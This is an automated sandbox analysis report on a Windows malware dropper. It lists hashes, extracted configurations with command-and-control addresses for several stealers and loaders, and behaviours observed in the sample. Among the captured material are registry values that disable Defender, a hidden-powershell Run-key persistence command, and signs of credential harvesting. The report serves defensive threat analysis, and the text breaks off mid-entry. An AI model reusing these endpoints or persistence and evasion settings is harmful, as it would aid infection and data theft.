Analysis
-
max time kernel
101s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20231025-en -
resource tags
arch:x64arch:x86image:win10v2004-20231025-enlocale:en-usos:windows10-2004-x64system -
submitted
01-11-2023 08:45
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win10v2004-20231025-en
General
-
Target
file.exe
-
Size
1.6MB
-
MD5
4b0fb62e3def191ca5c64325342ab4f3
-
SHA1
226f7c2d1db8acfe4669a5e9a8e6992135b18bf5
-
SHA256
75ab3aadac14e25230ba73e55f3e15ad45fceaeed42d3b66a100acdc087e6381
-
SHA512
c1fdcff17940fd107c8ad2531f3236cc2db9861e00c1caf05ac394d754c5c8dd73c5d2f916ebea26573a033c5e41abc1c18ed949866929245c91423c6048490c
-
SSDEEP
49152:S+rE9uKjA588ZoQsdt2ntZOHPFbCfOXmG1Fe:Do9xMXiv2tZOHPxCw
Malware Config
Extracted
smokeloader
2022
http://77.91.68.29/fks/
Extracted
redline
grome
77.91.124.86:19084
Extracted
amadey
3.89
http://77.91.124.1/theme/index.php
-
install_dir
fefffe8cea
-
install_file
explothe.exe
-
strings_key
36a96139c1118a354edf72b1080d4b2f
Extracted
redline
kinza
77.91.124.86:19084
Extracted
redline
pixelnew
194.49.94.11:80
Extracted
redline
@ytlogsbot
194.169.175.235:42691
Extracted
raccoon
6a6a005b9aa778f606280c5fa24ae595
http://195.123.218.98:80
http://31.192.23
-
user_agent
SunShineMoonLight
Extracted
smokeloader
up3
Extracted
smokeloader
2020
http://host-file-host6.com/
http://host-host-file8.com/
Signatures
-
DcRat 5 IoCs
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
Processes:
file.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" file.exe 4836 schtasks.exe 2828 schtasks.exe 5712 schtasks.exe 7972 schtasks.exe -
Detect ZGRat V1 1 IoCs
Processes:
resource yara_rule behavioral1/memory/7848-690-0x00000000009F0000-0x0000000000DD0000-memory.dmp family_zgrat_v1 -
Glupteba payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/5496-1288-0x0000000000400000-0x0000000000D1B000-memory.dmp family_glupteba behavioral1/memory/4284-1450-0x0000000000400000-0x0000000000D1B000-memory.dmp family_glupteba -
Processes:
AppLaunch.exe1368.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" AppLaunch.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" 1368.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" 1368.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" 1368.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" 1368.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection AppLaunch.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" AppLaunch.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" AppLaunch.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" AppLaunch.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" AppLaunch.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" 1368.exe -
Raccoon Stealer payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/7980-924-0x0000000000400000-0x000000000041B000-memory.dmp family_raccoon behavioral1/memory/7980-928-0x0000000000400000-0x000000000041B000-memory.dmp family_raccoon behavioral1/memory/7980-935-0x0000000000400000-0x000000000041B000-memory.dmp family_raccoon -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 6 IoCs
Processes:
resource yara_rule behavioral1/memory/2720-65-0x0000000000400000-0x000000000043E000-memory.dmp family_redline behavioral1/memory/5504-442-0x0000000000BD0000-0x0000000000C0E000-memory.dmp family_redline behavioral1/memory/6720-445-0x0000000000480000-0x00000000004DA000-memory.dmp family_redline behavioral1/memory/6720-566-0x0000000000400000-0x0000000000480000-memory.dmp family_redline behavioral1/memory/8160-704-0x0000000000F00000-0x0000000000F1E000-memory.dmp family_redline behavioral1/memory/7564-734-0x00000000001C0000-0x00000000001FE000-memory.dmp family_redline -
SectopRAT payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/8160-704-0x0000000000F00000-0x0000000000F1E000-memory.dmp family_sectoprat -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
Processes:
latestX.exedescription pid process target process PID 7924 created 3284 7924 latestX.exe Explorer.EXE PID 7924 created 3284 7924 latestX.exe Explorer.EXE PID 7924 created 3284 7924 latestX.exe Explorer.EXE PID 7924 created 3284 7924 latestX.exe Explorer.EXE PID 7924 created 3284 7924 latestX.exe Explorer.EXE -
XMRig Miner payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/1908-1623-0x00007FF639CB0000-0x00007FF63A251000-memory.dmp xmrig -
Blocklisted process makes network request 2 IoCs
Processes:
rundll32.exerundll32.exeflow pid process 224 8152 rundll32.exe 235 4196 rundll32.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
Processes:
latestX.exedescription ioc process File created C:\Windows\System32\drivers\etc\hosts latestX.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Stops running service(s) 3 TTPs
-
Checks computer location settings 2 TTPs 8 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
explothe.exe4587.exe5D77.exekos4.exe6B93.exeUtsysc.exe18F8.exe5em9ZI7.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-177160434-2093019976-369403398-1000\Control Panel\International\Geo\Nation explothe.exe Key value queried \REGISTRY\USER\S-1-5-21-177160434-2093019976-369403398-1000\Control Panel\International\Geo\Nation 4587.exe Key value queried \REGISTRY\USER\S-1-5-21-177160434-2093019976-369403398-1000\Control Panel\International\Geo\Nation 5D77.exe Key value queried \REGISTRY\USER\S-1-5-21-177160434-2093019976-369403398-1000\Control Panel\International\Geo\Nation kos4.exe Key value queried \REGISTRY\USER\S-1-5-21-177160434-2093019976-369403398-1000\Control Panel\International\Geo\Nation 6B93.exe Key value queried \REGISTRY\USER\S-1-5-21-177160434-2093019976-369403398-1000\Control Panel\International\Geo\Nation Utsysc.exe Key value queried \REGISTRY\USER\S-1-5-21-177160434-2093019976-369403398-1000\Control Panel\International\Geo\Nation 18F8.exe Key value queried \REGISTRY\USER\S-1-5-21-177160434-2093019976-369403398-1000\Control Panel\International\Geo\Nation 5em9ZI7.exe -
Executes dropped EXE 48 IoCs
Processes:
de4JQ64.exewj8rr70.exePC9OK48.exesN8nU42.exeYn7YC32.exe1Mh58uI0.exe2fQ2662.exe3WS51mb.exe4GV994nU.exe5em9ZI7.exeexplothe.exe6bk1Rx9.exe7hB3sd56.exe9FE.exeIN8gZ5gn.exeD6A.exexU8mT4YJ.exeFb6jM0Il.exenk2Rg5kr.exe1dI10GX0.exe1173.exe1368.exe1657.exe18F8.exe2iI657iQ.exerundll32.exe4587.exe4CAC.exeInstallSetup5.exetoolspub2.exe31839b57a4f11171d6abc8bbc4451ee4.exekos4.exe5855.exeBroom.exelatestX.exe5D77.exe6076.exe6568.exe6B93.exeLzmwAqmV.exeLzmwAqmV.tmpUtsysc.exetoolspub2.exeIsoBuster.exe31839b57a4f11171d6abc8bbc4451ee4.exeupdater.execsrss.exepid process 2788 de4JQ64.exe 1820 wj8rr70.exe 4480 PC9OK48.exe 5036 sN8nU42.exe 5096 Yn7YC32.exe 4372 1Mh58uI0.exe 3440 2fQ2662.exe 3552 3WS51mb.exe 1456 4GV994nU.exe 1624 5em9ZI7.exe 5068 explothe.exe 396 6bk1Rx9.exe 3384 7hB3sd56.exe 6836 9FE.exe 6172 IN8gZ5gn.exe 5972 D6A.exe 1872 xU8mT4YJ.exe 3548 Fb6jM0Il.exe 5148 nk2Rg5kr.exe 6528 1dI10GX0.exe 6540 1173.exe 5508 1368.exe 5092 1657.exe 6720 18F8.exe 5504 2iI657iQ.exe 7832 rundll32.exe 8140 4587.exe 3492 4CAC.exe 4296 InstallSetup5.exe 3836 toolspub2.exe 5496 31839b57a4f11171d6abc8bbc4451ee4.exe 7824 kos4.exe 7848 5855.exe 7912 Broom.exe 7924 latestX.exe 8096 5D77.exe 8160 6076.exe 7564 6568.exe 5196 6B93.exe 5484 LzmwAqmV.exe 1268 LzmwAqmV.tmp 7540 Utsysc.exe 5844 toolspub2.exe 7256 IsoBuster.exe 5844 toolspub2.exe 4284 31839b57a4f11171d6abc8bbc4451ee4.exe 1908 updater.exe 6484 csrss.exe -
Loads dropped DLL 6 IoCs
Processes:
LzmwAqmV.tmp5855.exerundll32.exerundll32.exerundll32.exerundll32.exepid process 1268 LzmwAqmV.tmp 7848 5855.exe 7232 rundll32.exe 7832 rundll32.exe 4196 rundll32.exe 8152 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule behavioral1/memory/4552-1556-0x0000000000400000-0x00000000008DF000-memory.dmp upx -
Processes:
1368.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" 1368.exe -
Accesses Microsoft Outlook profiles 1 TTPs 5 IoCs
Processes:
5D77.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-177160434-2093019976-369403398-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 5D77.exe Key opened \REGISTRY\USER\S-1-5-21-177160434-2093019976-369403398-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 5D77.exe Key opened \REGISTRY\USER\S-1-5-21-177160434-2093019976-369403398-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 5D77.exe Key opened \REGISTRY\USER\S-1-5-21-177160434-2093019976-369403398-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 5D77.exe Key opened \REGISTRY\USER\S-1-5-21-177160434-2093019976-369403398-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 5D77.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 13 IoCs
Processes:
sN8nU42.exenk2Rg5kr.exeYn7YC32.exeFb6jM0Il.exefile.exede4JQ64.exewj8rr70.exePC9OK48.exe9FE.exeIN8gZ5gn.exexU8mT4YJ.exe4CAC.exe31839b57a4f11171d6abc8bbc4451ee4.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\"" sN8nU42.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP005.TMP\\\"" nk2Rg5kr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup5 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP005.TMP\\\"" Yn7YC32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\"" Fb6jM0Il.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" file.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" de4JQ64.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" wj8rr70.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" PC9OK48.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" 9FE.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" IN8gZ5gn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" xU8mT4YJ.exe Set value (str) \REGISTRY\USER\S-1-5-21-177160434-2093019976-369403398-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\socks5 = "powershell.exe -windowstyle hidden -Command \"& 'C:\\Users\\Admin\\AppData\\Local\\Temp\\4CAC.exe'\"" 4CAC.exe Set value (str) \REGISTRY\USER\S-1-5-21-177160434-2093019976-369403398-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" 31839b57a4f11171d6abc8bbc4451ee4.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 175 api.ipify.org 176 api.ipify.org -
Drops file in System32 directory 4 IoCs
Processes:
powershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe -
Suspicious use of SetThreadContext 6 IoCs
Processes:
1Mh58uI0.exe2fQ2662.exe4GV994nU.exe1dI10GX0.exe5855.exetoolspub2.exedescription pid process target process PID 4372 set thread context of 2380 4372 1Mh58uI0.exe AppLaunch.exe PID 3440 set thread context of 4624 3440 2fQ2662.exe AppLaunch.exe PID 1456 set thread context of 2720 1456 4GV994nU.exe AppLaunch.exe PID 6528 set thread context of 1492 6528 1dI10GX0.exe AppLaunch.exe PID 7848 set thread context of 7980 7848 5855.exe RegAsm.exe PID 3836 set thread context of 5844 3836 toolspub2.exe toolspub2.exe -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
Processes:
31839b57a4f11171d6abc8bbc4451ee4.exedescription ioc process File opened (read-only) \??\VBoxMiniRdrDN 31839b57a4f11171d6abc8bbc4451ee4.exe -
Drops file in Program Files directory 35 IoCs
Processes:
LzmwAqmV.tmplatestX.exedescription ioc process File created C:\Program Files (x86)\Smart Projects\IsoBuster\Lang\is-IFCNQ.tmp LzmwAqmV.tmp File created C:\Program Files\Google\Chrome\updater.exe latestX.exe File opened for modification C:\Program Files (x86)\Smart Projects\IsoBuster\IsoBuster.exe LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Lang\is-OQHE8.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Lang\is-ILCNN.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Lang\is-AFG26.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Lang\is-BDEBC.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Lang\is-8MAFQ.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Lang\is-RK8D9.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Plugins\is-0AHHS.tmp LzmwAqmV.tmp File opened for modification C:\Program Files (x86)\Smart Projects\IsoBuster\unins000.dat LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\unins000.dat LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Lang\is-7CV2K.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Lang\is-I2Q1R.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Lang\is-AH6ET.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Online\is-RCOTF.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Lang\is-C3HFD.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Help\is-V300S.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Lang\is-JJI3I.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Online\is-6Q7FB.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Plugins\is-HS353.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\is-53AHN.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Lang\is-VH1P7.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Lang\is-1L9FQ.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Lang\is-H6IL8.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Lang\is-NDTRK.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Plugins\is-SO64T.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Lang\is-PTPAO.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Lang\is-HA1JO.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Lang\is-78C9P.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Plugins\is-UL4SB.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\is-R0FKU.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Lang\is-0TEVG.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Lang\is-VORIM.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Smart Projects\IsoBuster\Lang\is-PQ5LO.tmp LzmwAqmV.tmp -
Drops file in Windows directory 2 IoCs
Processes:
31839b57a4f11171d6abc8bbc4451ee4.exedescription ioc process File opened for modification C:\Windows\rss 31839b57a4f11171d6abc8bbc4451ee4.exe File created C:\Windows\rss\csrss.exe 31839b57a4f11171d6abc8bbc4451ee4.exe -
Launches sc.exe 11 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 5612 sc.exe 1360 sc.exe 8004 sc.exe 5776 sc.exe 6304 sc.exe 2144 sc.exe 6648 sc.exe 4932 sc.exe 5480 sc.exe 388 sc.exe 1820 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 4 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 2572 4624 WerFault.exe AppLaunch.exe 3268 1492 WerFault.exe AppLaunch.exe 7972 7980 WerFault.exe RegAsm.exe 6428 5496 WerFault.exe 31839b57a4f11171d6abc8bbc4451ee4.exe -
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
3WS51mb.exetoolspub2.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 3WS51mb.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 3WS51mb.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 3WS51mb.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub2.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub2.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub2.exe -
Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 4836 schtasks.exe 2828 schtasks.exe 5712 schtasks.exe 7972 schtasks.exe -
Enumerates system info in registry 2 TTPs 6 IoCs
Processes:
msedge.exemsedge.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
31839b57a4f11171d6abc8bbc4451ee4.exepowershell.exepowershell.exepowershell.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-3051 = "Qyzylorda Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-3052 = "Qyzylorda Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local 